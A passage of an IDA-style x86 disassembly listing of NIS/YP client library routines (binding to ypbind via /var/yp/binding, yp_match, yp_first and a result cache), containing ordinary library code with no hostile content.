0FFFFFFFCh jz short loc_805CC98 jmp short loc_805CCA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CC5C: ; CODE XREF: .text:0805CC52j cmp eax, 0FFFFFFFEh jz short loc_805CC78 cmp eax, 0FFFFFFFFh jnz short loc_805CCA8 mov dword_8078F3C, edx mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CC78: ; CODE XREF: .text:0805CC5Fj mov dword_8078F40, edx mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CC88: ; CODE XREF: .text:0805CC50j mov dword_8078F48, edx mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CC98: ; CODE XREF: .text:0805CC57j mov dword_8078F44, edx mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CCA8: ; CODE XREF: .text:0805CC59j ; .text:0805CC64j xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805CCB0 proc near ; CODE XREF: sub_805D3A8+225p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_10] lea eax, [ebp+var_4] push eax call __libc_time mov ebx, ds:dword_807E398 add esp, 4 test ebx, ebx jz short loc_805CCEA lea esi, [esi+0] loc_805CCD8: ; CODE XREF: sub_805CCB0+34j mov eax, [ebx+18h] cmp [ebp+var_4], eax jg short loc_805CCE6 mov ebx, [ebx] test ebx, ebx jnz short loc_805CCD8 loc_805CCE6: ; CODE XREF: sub_805CCB0+2Ej test ebx, ebx jnz short loc_805CD14 loc_805CCEA: ; CODE XREF: sub_805CCB0+23j push 1Ch call malloc mov ebx, eax push 1Ch push ebx call bzero add esp, 0Ch cmp ds:dword_807E398, 0 jz short loc_805CD0E mov eax, ds:dword_807E398 mov [ebx], eax loc_805CD0E: ; CODE XREF: sub_805CCB0+55j mov ds:dword_807E398, ebx loc_805CD14: ; CODE XREF: sub_805CCB0+38j cmp dword ptr [ebx+8], 0 jz short loc_805CD26 mov eax, [ebx+8] push eax call free add esp, 4 loc_805CD26: ; CODE XREF: sub_805CCB0+68j cmp dword ptr [ebx+0Ch], 0 jz short loc_805CD38 mov eax, [ebx+0Ch] push eax call free add esp, 4 loc_805CD38: ; CODE XREF: sub_805CCB0+7Aj mov dword ptr [ebx+8], 0 mov dword ptr [ebx+0Ch], 0 mov edx, [ebp+arg_8] push edx call malloc mov [ebx+8], eax add esp, 4 test eax, eax jz loc_805CDE3 push edi call malloc mov [ebx+0Ch], eax add esp, 4 cmp dword ptr [ebx+8], 0 jnz short loc_805CD80 push 0 call free mov dword ptr [ebx+8], 0 jmp short loc_805CDE3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CD80: ; CODE XREF: sub_805CCB0+BDj mov edx, [ebp+arg_8] mov [ebx+10h], edx mov [ebx+14h], edi mov eax, [ebx+10h] push eax mov eax, [ebx+8] push eax mov edx, [ebp+arg_4] push edx call bcopy mov eax, [ebx+14h] push eax mov eax, [ebx+0Ch] push eax mov edx, [ebp+arg_C] push edx call bcopy add esp, 18h cmp dword ptr [ebx+4], 0 jz short loc_805CDCE push esi mov eax, [ebx+4] push eax call strcmp add esp, 8 test eax, eax jz short loc_805CDD7 mov eax, [ebx+4] push eax call free loc_805CDCE: ; CODE XREF: sub_805CCB0+102j push esi call strdup mov [ebx+4], eax loc_805CDD7: ; CODE XREF: sub_805CCB0+113j mov edx, [ebp+var_4] add edx, ds:dword_8069038 mov [ebx+18h], edx loc_805CDE3: ; CODE XREF: sub_805CCB0+A7j ; sub_805CCB0+CDj lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805CCB0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805CDF0 proc near ; CODE XREF: sub_805D3A8+A1p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] cmp ds:dword_807E398, 0 jnz short loc_805CE24 jmp short loc_805CE75 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CE0C: ; CODE XREF: sub_805CDF0+7Dj mov eax, [ebx+0Ch] mov edx, [ebp+arg_C] mov [edx], eax mov eax, [ebx+14h] mov edx, [ebp+arg_10] mov [edx], eax mov eax, 1 jmp short loc_805CE77 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CE24: ; CODE XREF: sub_805CDF0+16j lea eax, [ebp+var_4] push eax call __libc_time mov ebx, ds:dword_807E398 add esp, 4 test ebx, ebx jz short loc_805CE75 lea esi, [esi] loc_805CE3C: ; CODE XREF: sub_805CDF0+83j cmp [ebx+10h], esi jnz short loc_805CE6F mov edx, [ebp+arg_0] push edx mov eax, [ebx+4] push eax call strcmp add esp, 8 test eax, eax jnz short loc_805CE6F push esi push edi mov eax, [ebx+8] push eax call bcmp add esp, 0Ch test eax, eax jnz short loc_805CE6F mov eax, [ebp+var_4] cmp [ebx+18h], eax jge short loc_805CE0C loc_805CE6F: ; CODE XREF: sub_805CDF0+4Fj ; sub_805CDF0+63j ... mov ebx, [ebx] test ebx, ebx jnz short loc_805CE3C loc_805CE75: ; CODE XREF: sub_805CDF0+18j ; sub_805CDF0+48j xor eax, eax loc_805CE77: ; CODE XREF: sub_805CDF0+31j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805CDF0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805CE84 proc near ; CODE XREF: sub_805D328+9p ; sub_805D3A8+66p ... var_45C = byte ptr -45Ch var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43A = byte ptr -43Ah var_438 = byte ptr -438h var_434 = dword ptr -434h var_430 = word ptr -430h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_1C = word ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 450h push edi push esi push ebx mov [ebp+var_44C], 0 call __libc_getpid mov [ebp+var_450], eax cmp dword_8078F94, 0FFFFFFFFh jz short loc_805CEF6 cmp dword_8078F94, eax jz short loc_805CEF6 mov esi, ds:dword_807EB94 test esi, esi jz short loc_805CEEC loc_805CEC0: ; CODE XREF: sub_805CE84+66j cmp dword ptr [esi+120h], 0 jz short loc_805CEDB mov edx, [esi+120h] mov ecx, [edx+4] push edx mov edx, [ecx+10h] call edx add esp, 4 loc_805CEDB: ; CODE XREF: sub_805CE84+43j mov ebx, [esi] push esi call free mov esi, ebx add esp, 4 test esi, esi jnz short loc_805CEC0 loc_805CEEC: ; CODE XREF: sub_805CE84+3Aj mov ds:dword_807EB94, 0 loc_805CEF6: ; CODE XREF: sub_805CE84+28j ; sub_805CE84+30j mov edi, [ebp+var_450] mov dword_8078F94, edi cmp [ebp+arg_4], 0 jz short loc_805CF11 mov edi, [ebp+arg_4] mov dword ptr [edi], 0 loc_805CF11: ; CODE XREF: sub_805CE84+82j cmp [ebp+arg_0], 0 jz short loc_805CF29 xor al, al mov edi, [ebp+arg_0] cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFEh jnz short loc_805CF34 loc_805CF29: ; CODE XREF: sub_805CE84+91j mov eax, 1 jmp loc_805D2E6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CF34: ; CODE XREF: sub_805CE84+A3j mov esi, ds:dword_807EB94 test esi, esi jz short loc_805CF5E lea esi, [esi] loc_805CF40: ; CODE XREF: sub_805CE84+D4j lea edx, [esi+4] push edx mov edi, [ebp+arg_0] push edi call strcmp add esp, 8 test eax, eax jz short loc_805CF5A mov esi, [esi] test esi, esi jnz short loc_805CF40 loc_805CF5A: ; CODE XREF: sub_805CE84+CEj test esi, esi jnz short loc_805CF96 loc_805CF5E: ; CODE XREF: sub_805CE84+B8j push 12Ch call malloc mov esi, eax push 12Ch push esi call bzero mov dword ptr [esi+11Ch], 0FFFFFFFFh mov dword ptr [esi+128h], 0 mov [ebp+var_44C], 1 add esp, 0Ch loc_805CF96: ; CODE XREF: sub_805CE84+D8j ; sub_805CE84+1B1j ... cmp dword ptr [esi+128h], 0 jnz loc_805D084 push 2 mov edi, [ebp+arg_0] push edi push offset aVarYpBinding ; "/var/yp/binding" push offset aSS_D ; "%s/%s.%d" lea ebx, [ebp+var_41C] push ebx call sprintf push 0 push ebx call __libc_open mov ebx, eax add esp, 1Ch test ebx, ebx jl loc_805D084 lea edi, [ebp+var_43A] mov [ebp+var_42C], edi mov [ebp+var_428], 2 lea edi, [ebp+var_438] mov [ebp+var_424], edi mov [ebp+var_420], 0Ch push 2 lea edx, [ebp+var_42C] push edx push ebx call __readv mov edx, [ebp+var_428] add edx, [ebp+var_420] add esp, 0Ch cmp eax, edx jz short loc_805D03C push ebx call __libc_close mov dword ptr [esi+128h], 0FFFFFFFFh add esp, 4 jmp loc_805CF96 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D03C: ; CODE XREF: sub_805CE84+19Cj push 10h lea edx, [esi+108h] push edx call bzero mov word ptr [esi+108h], 2 mov edx, [ebp+var_434] mov [esi+10Ch], edx mov dx, [ebp+var_430] mov [esi+10Ah], dx mov [esi+118h], dx push ebx call __libc_close add esp, 0Ch jmp loc_805D1FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D084: ; CODE XREF: sub_805CE84+119j ; sub_805CE84+14Aj mov edx, [esi+128h] inc edx cmp edx, 1 ja loc_805D217 push 10h lea ebx, [ebp+var_1C] push ebx call bzero mov [ebp+var_1C], 2 add esp, 8 mov [ebp+var_18], 100007Fh mov [ebp+var_440], 0FFFFFFFFh push 0 push 0 lea edx, [ebp+var_440] push edx push 2 push 186A7h push ebx call clnttcp_create mov ebx, eax add esp, 18h test ebx, ebx jz short loc_805D12B mov edi, ds:dword_8069030 mov [ebp+var_448], edi mov [ebp+var_444], 0 mov edx, [ebx+4] push [ebp+var_444] push [ebp+var_448] lea ecx, [ebp+var_C] push ecx push offset sub_8066800 mov edi, [ebp+arg_0] push edi push offset xdr_domainname push 1 push ebx mov edx, [edx] call edx add esp, 20h test eax, eax jz short loc_805D144 mov edx, [ebx+4] push ebx mov edx, [edx+10h] call edx add esp, 4 loc_805D12B: ; CODE XREF: sub_805CE84+254j cmp [ebp+var_44C], 0 jz short loc_805D13A push esi call free loc_805D13A: ; CODE XREF: sub_805CE84+2AEj mov eax, 0Ah jmp loc_805D2E6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D144: ; CODE XREF: sub_805CE84+299j mov edx, [ebx+4] push ebx mov edx, [edx+10h] call edx add esp, 4 cmp [ebp+var_C], 1 jz short loc_805D1C4 mov edx, [ebp+var_8] cmp edx, 2 jz short loc_805D178 ja short loc_805D168 cmp edx, 1 jz short loc_805D170 jmp short loc_805D198 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D168: ; CODE XREF: sub_805CE84+2DAj cmp edx, 3 jz short loc_805D190 jmp short loc_805D198 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D170: ; CODE XREF: sub_805CE84+2DFj push offset aYpbindproc_dom ; "YPBINDPROC_DOMAIN: Internal error\n" jmp short loc_805D19D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D178: ; CODE XREF: sub_805CE84+2D8j mov edi, [ebp+arg_0] push edi push offset aYpbindproc_d_0 ; "YPBINDPROC_DOMAIN: No bound server for "... push offset unk_80787A4 call _IO_fprintf add esp, 0Ch jmp short loc_805D1AA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D190: ; CODE XREF: sub_805CE84+2E7j push offset aYpbindproc_d_1 ; "YPBINDPROC_DOMAIN: Resource allocation "... jmp short loc_805D19D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D198: ; CODE XREF: sub_805CE84+2E1j ; sub_805CE84+2E9j push offset aYpbindproc_d_2 ; "YPBINDPROC_DOMAIN: Unknown error\n" loc_805D19D: ; CODE XREF: sub_805CE84+2F1j ; sub_805CE84+311j push offset unk_80787A4 call _IO_fprintf add esp, 8 loc_805D1AA: ; CODE XREF: sub_805CE84+30Aj cmp [ebp+var_44C], 0 jz short loc_805D1B9 push esi call free loc_805D1B9: ; CODE XREF: sub_805CE84+32Dj mov eax, 3 jmp loc_805D2E6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D1C4: ; CODE XREF: sub_805CE84+2D0j push 10h lea edx, [esi+108h] push edx call bzero mov word ptr [esi+108h], 2 mov dx, [ebp+var_4] mov [esi+10Ah], dx mov edx, [ebp+var_8] mov [esi+10Ch], edx mov dx, [ebp+var_4] mov [esi+118h], dx add esp, 8 loc_805D1FD: ; CODE XREF: sub_805CE84+1F9j mov dword ptr [esi+128h], 2 mov edi, [ebp+arg_0] push edi lea edx, [esi+4] push edx call strcpy add esp, 8 loc_805D217: ; CODE XREF: sub_805CE84+20Aj mov edx, ds:dword_8069030 shr edx, 1Fh add edx, ds:dword_8069030 sar edx, 1 mov [ebp+var_448], edx mov [ebp+var_444], 0 cmp dword ptr [esi+120h], 0 jz short loc_805D254 mov edx, [esi+120h] mov ecx, [edx+4] push edx mov edx, [ecx+10h] call edx add esp, 4 loc_805D254: ; CODE XREF: sub_805CE84+3BCj mov dword ptr [esi+11Ch], 0FFFFFFFFh lea edx, [esi+11Ch] push edx push [ebp+var_444] push [ebp+var_448] push 2 push 186A4h lea edx, [esi+108h] push edx call sub_8064400 mov [esi+120h], eax add esp, 18h test eax, eax jnz short loc_805D2A0 mov dword ptr [esi+128h], 0FFFFFFFFh jmp loc_805CF96 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D2A0: ; CODE XREF: sub_805CE84+40Bj push 1 push 2 mov edx, [esi+11Ch] push edx call __libc_fcntl add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_805D2C2 push offset aFcntlF_setfd ; "fcntl: F_SETFD" call _IO_perror loc_805D2C2: ; CODE XREF: sub_805CE84+432j cmp [ebp+var_44C], 0 jz short loc_805D2D9 mov edx, ds:dword_807EB94 mov [esi], edx mov ds:dword_807EB94, esi loc_805D2D9: ; CODE XREF: sub_805CE84+445j cmp [ebp+arg_4], 0 jz short loc_805D2E4 mov edi, [ebp+arg_4] mov [edi], esi loc_805D2E4: ; CODE XREF: sub_805CE84+459j xor eax, eax loc_805D2E6: ; CODE XREF: sub_805CE84+AAj ; sub_805CE84+2BBj ... lea esp, [ebp+var_45C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805CE84 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805D2F4 proc near ; CODE XREF: sub_805D3A8+17Ep ; sub_805D3A8+23Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+120h] mov edx, [eax+4] push eax mov eax, [edx+10h] call eax mov dword ptr [ebx+120h], 0 mov dword ptr [ebx+11Ch], 0FFFFFFFFh mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805D2F4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805D328 proc near ; CODE XREF: .text:0805E0F2p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push 0 push eax call sub_805CE84 mov esp, ebp pop ebp retn sub_805D328 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000006A BYTES: COLLAPSED FUNCTION yp_unbind. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805D3A8 proc near ; CODE XREF: sub_804C9E4+53p var_38 = byte ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 2Ch push edi push esi push ebx mov [ebp+var_24], 0 cmp [ebp+arg_0], 0 jz short loc_805D3E8 mov esi, [ebp+arg_0] cmp byte ptr [esi], 0 jz short loc_805D3E8 cmp [ebp+arg_4], 0 jz short loc_805D3E8 mov esi, [ebp+arg_4] cmp byte ptr [esi], 0 jz short loc_805D3E8 cmp [ebp+arg_8], 0 jz short loc_805D3E8 cmp [ebp+arg_C], 0 jz short loc_805D3E8 mov esi, [ebp+arg_8] cmp byte ptr [esi], 0 jnz short loc_805D3F4 loc_805D3E8: ; CODE XREF: sub_805D3A8+14j ; sub_805D3A8+1Cj ... mov eax, 1 jmp loc_805D5EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D3F4: ; CODE XREF: sub_805D3A8+3Ej mov esi, [ebp+arg_10] mov dword ptr [esi], 0 mov esi, [ebp+arg_14] mov dword ptr [esi], 0 loc_805D406: ; CODE XREF: sub_805D3A8+192j lea edx, [ebp+var_20] push edx mov esi, [ebp+arg_0] push esi call sub_805CE84 mov ebx, eax add esp, 8 test ebx, ebx jnz loc_805D5EE mov esi, [ebp+arg_0] push esi push offset byte_807E358 call strcmp add esp, 8 test eax, eax jnz short loc_805D4A0 lea edx, [ebp+var_4] push edx lea edx, [ebp+var_8] push edx mov esi, [ebp+arg_C] push esi mov esi, [ebp+arg_8] push esi mov esi, [ebp+arg_4] push esi call sub_805CDF0 add esp, 14h test eax, eax jz short loc_805D4A0 mov edx, [ebp+var_4] mov esi, [ebp+arg_14] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_10] mov [esi], eax mov esi, [ebp+arg_14] mov edx, [esi] push edx push eax mov edx, [ebp+var_8] push edx call bcopy mov esi, [ebp+arg_10] mov ecx, [esi] mov esi, [ebp+arg_14] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_10] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 xor eax, eax jmp loc_805D5EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D4A0: ; CODE XREF: sub_805D3A8+8Bj ; sub_805D3A8+ABj mov esi, ds:dword_8069030 mov [ebp+var_2C], esi mov [ebp+var_28], 0 mov esi, [ebp+arg_0] mov [ebp+var_1C], esi mov esi, [ebp+arg_4] mov [ebp+var_18], esi mov esi, [ebp+arg_8] mov [ebp+var_14], esi mov esi, [ebp+arg_C] mov [ebp+var_10], esi push 0Ch lea ebx, [ebp+var_C] push ebx call bzero mov edx, [ebp+var_20] mov ecx, [edx+120h] mov eax, [ecx+4] push [ebp+var_28] push [ebp+var_2C] push ebx push offset xdr_nis_oid lea edx, [ebp+var_1C] push edx push offset sub_8066514 push 3 push ecx mov edx, [eax] call edx mov ebx, eax add esp, 28h test ebx, ebx jz short loc_805D54C push offset aYp_matchClnt_c ; "yp_match: clnt_call" mov edx, [ebp+var_20] mov edx, [edx+120h] push edx call clnt_perror mov edx, [ebp+var_20] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp+var_24] inc [ebp+var_24] cmp ds:dword_8069034, edx jg loc_805D406 mov eax, 2 jmp loc_805D5EE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D54C: ; CODE XREF: sub_805D3A8+15Aj mov edx, [ebp+var_C] push edx call ypprot_err mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805D5D5 mov edx, [ebp+var_4] mov esi, [ebp+arg_14] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_10] mov [esi], eax mov esi, [ebp+arg_14] mov edx, [esi] push edx push eax mov edx, [ebp+var_8] push edx call bcopy mov esi, [ebp+arg_10] mov ecx, [esi] mov esi, [ebp+arg_14] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_10] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 mov esi, [ebp+arg_0] push esi push offset byte_807E358 call strcmp add esp, 18h test eax, eax jnz short loc_805D5D5 mov esi, [ebp+arg_14] mov edx, [esi] push edx mov esi, [ebp+arg_10] mov edx, [esi] push edx mov esi, [ebp+arg_C] push esi mov esi, [ebp+arg_8] push esi mov esi, [ebp+arg_4] push esi call sub_805CCB0 add esp, 14h loc_805D5D5: ; CODE XREF: sub_805D3A8+1B4j ; sub_805D3A8+20Bj lea edx, [ebp+var_C] push edx push offset xdr_nis_oid call xdr_free mov edx, [ebp+var_20] push edx call sub_805D2F4 mov eax, ebx loc_805D5EE: ; CODE XREF: sub_805D3A8+45j ; sub_805D3A8+72j ... lea esp, [ebp+var_38] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805D3A8 endp ; [0000003F BYTES: COLLAPSED FUNCTION yp_get_default_domain. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805D638 proc near ; CODE XREF: sub_804C9E4+82p var_38 = byte ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 2Ch push edi push esi push ebx mov [ebp+var_24], 0 mov esi, [ebp+arg_10] mov dword ptr [esi], 0 mov esi, [ebp+arg_8] mov dword ptr [esi], 0 mov esi, [ebp+arg_14] mov dword ptr [esi], 0 mov esi, [ebp+arg_C] mov dword ptr [esi], 0 cmp [ebp+arg_0], 0 jz short loc_805D688 mov esi, [ebp+arg_0] cmp byte ptr [esi], 0 jz short loc_805D688 cmp [ebp+arg_4], 0 jz short loc_805D688 mov esi, [ebp+arg_4] cmp byte ptr [esi], 0 jnz short loc_805D694 loc_805D688: ; CODE XREF: sub_805D638+38j ; sub_805D638+40j ... mov eax, 1 jmp loc_805D80A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D694: ; CODE XREF: sub_805D638+4Ej ; sub_805D638+10Aj lea edx, [ebp+var_18] push edx mov esi, [ebp+arg_0] push esi call sub_805CE84 add esp, 8 test eax, eax jz short loc_805D6B4 mov eax, 3 jmp loc_805D80A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D6B4: ; CODE XREF: sub_805D638+6Ej mov esi, ds:dword_8069030 mov [ebp+var_2C], esi mov [ebp+var_28], 0 mov esi, [ebp+arg_0] mov [ebp+var_20], esi mov esi, [ebp+arg_4] mov [ebp+var_1C], esi push 14h lea ebx, [ebp+var_14] push ebx call bzero mov edx, [ebp+var_18] mov ecx, [edx+120h] mov eax, [ecx+4] push [ebp+var_28] push [ebp+var_2C] push ebx push offset sub_80665DC lea edx, [ebp+var_20] push edx push offset sub_8066564 push 4 push ecx mov edx, [eax] call edx mov ebx, eax add esp, 28h test ebx, ebx jz short loc_805D754 push offset aYp_firstClnt_c ; "yp_first: clnt_call" mov edx, [ebp+var_18] mov edx, [edx+120h] push edx call clnt_perror mov edx, [ebp+var_18] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp+var_24] inc [ebp+var_24] cmp ds:dword_8069034, edx jg loc_805D694 mov eax, 2 jmp loc_805D80A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D754: ; CODE XREF: sub_805D638+D2j mov edx, [ebp+var_14] push edx call ypprot_err mov ebx, eax add esp, 4 test ebx, ebx jnz loc_805D7F1 mov edx, [ebp+var_C] mov esi, [ebp+arg_C] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_8] mov [esi], eax mov esi, [ebp+arg_C] mov edx, [esi] push edx push eax mov edx, [ebp+var_10] push edx call bcopy mov esi, [ebp+arg_8] mov ecx, [esi] mov esi, [ebp+arg_C] mov edx, [esi] mov byte ptr [edx+ecx], 0Ah mov ecx, [esi] mov esi, [ebp+arg_8] mov edx, [esi] mov byte ptr [edx+ecx+1], 0 mov edx, [ebp+var_4] mov esi, [ebp+arg_14] mov [esi], edx mov edx, [esi] add edx, 2 push edx call malloc mov esi, [ebp+arg_10] mov [esi], eax mov esi, [ebp+arg_14] mov edx, 